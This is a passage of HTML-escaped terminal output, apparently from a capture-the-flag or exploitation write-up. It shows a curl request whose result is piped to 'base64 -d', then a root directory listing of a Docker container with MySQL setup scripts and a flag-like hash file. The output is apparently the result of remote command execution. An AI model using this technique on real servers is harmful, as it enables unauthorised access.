light-dark(#D73A49, #F97583);&quot;&gt; |&lt;&#x2F;span&gt;&lt;span&gt; base64&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;d&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  %&lt;&#x2F;span&gt;&lt;span&gt; Total&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;    %&lt;&#x2F;span&gt;&lt;span&gt; Received&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; %&lt;&#x2F;span&gt;&lt;span&gt; Xferd&lt;&#x2F;span&gt;&lt;span&gt;  Average&lt;&#x2F;span&gt;&lt;span&gt; Speed&lt;&#x2F;span&gt;&lt;span&gt;   Time&lt;&#x2F;span&gt;&lt;span&gt;    Time&lt;&#x2F;span&gt;&lt;span&gt;     Time&lt;&#x2F;span&gt;&lt;span&gt;  Current&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                 Dload&lt;&#x2F;span&gt;&lt;span&gt;  Upload&lt;&#x2F;span&gt;&lt;span&gt;   Total&lt;&#x2F;span&gt;&lt;span&gt;   Spent&lt;&#x2F;span&gt;&lt;span&gt;    Left&lt;&#x2F;span&gt;&lt;span&gt;  Speed&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;100&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  2197&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  100&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  1892&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  100&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   305&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   6348&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   1023&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;--&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;--&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;--&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;--&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;--&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;--&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  7347&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;total&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 116&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   1&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 4096&lt;&#x2F;span&gt;&lt;span&gt; Dec&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 26&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 18&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   1&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 4096&lt;&#x2F;span&gt;&lt;span&gt; Dec&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 26&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 18&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;rwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   1&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    0&lt;&#x2F;span&gt;&lt;span&gt; Dec&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 25&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 23&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;47&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span&gt;dockerenv&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   1&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 4096&lt;&#x2F;span&gt;&lt;span&gt; Dec&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 25&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 23&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;50&lt;&#x2F;span&gt;&lt;span&gt; app&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   1&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 4096&lt;&#x2F;span&gt;&lt;span&gt; Dec&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 15&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;47&lt;&#x2F;span&gt;&lt;span&gt; bin&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   2&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 4096&lt;&#x2F;span&gt;&lt;span&gt; Apr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 10&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  2014&lt;&#x2F;span&gt;&lt;span&gt; boot&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;rwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   1&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 1122&lt;&#x2F;span&gt;&lt;span&gt; Feb&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 15&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  2016&lt;&#x2F;span&gt;&lt;span&gt; create_mysql_admin_user&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;rw&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;--&lt;&#x2F;span&gt;&lt;span&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;--&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   1&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   31&lt;&#x2F;span&gt;&lt;span&gt; Dec&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 26&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 03&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;34&lt;&#x2F;span&gt;&lt;span&gt; da0f72d5d79169971b62a479c34198e7&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   5&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  360&lt;&#x2F;span&gt;&lt;span&gt; Dec&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 25&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 23&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;47&lt;&#x2F;span&gt;&lt;span&gt; dev&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   1&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 4096&lt;&#x2F;span&gt;&lt;span&gt; Dec&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 25&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 23&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;55&lt;&#x2F;span&gt;&lt;span&gt; etc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   2&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 4096&lt;&#x2F;span&gt;&lt;span&gt; Apr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 10&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  2014&lt;&#x2F;span&gt;&lt;span&gt; home&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   1&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 4096&lt;&#x2F;span&gt;&lt;span&gt; Feb&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 15&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  2016&lt;&#x2F;span&gt;&lt;span&gt; lib&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   2&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 4096&lt;&#x2F;span&gt;&lt;span&gt; Jan&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 19&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  2016&lt;&#x2F;span&gt;&lt;span&gt; lib64&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   2&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 4096&lt;&#x2F;span&gt;&lt;span&gt; Jan&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 19&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  2016&lt;&#x2F;span&gt;&lt;span&gt; media&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   2&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 4096&lt;&#x2F;span&gt;&lt;span&gt; Apr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 10&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  2014&lt;&#x2F;span&gt;&lt;span&gt; mnt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   2&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 4096&lt;&#x2F;span&gt;&lt;span&gt; Jan&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 19&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  2016&lt;&#x2F;span&gt;&lt;span&gt; opt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;dr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 331&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    0&lt;&#x2F;span&gt;&lt;span&gt; Dec&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 25&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 23&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;47&lt;&#x2F;span&gt;&lt;span&gt; proc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drwx&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;--&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;--&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;--&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   1&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 4096&lt;&#x2F;span&gt;&lt;span&gt; Dec&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 26&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 18&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   1&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 4096&lt;&#x2F;span&gt;&lt;span&gt; Feb&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 15&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  2016&lt;&#x2F;span&gt;&lt;span&gt; run&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;rwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   1&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  549&lt;&#x2F;span&gt;&lt;span&gt; Feb&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 15&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  2016&lt;&#x2F;span&gt;&lt;span&gt; run&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   1&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 4096&lt;&#x2F;span&gt;&lt;span&gt; Jan&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 19&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  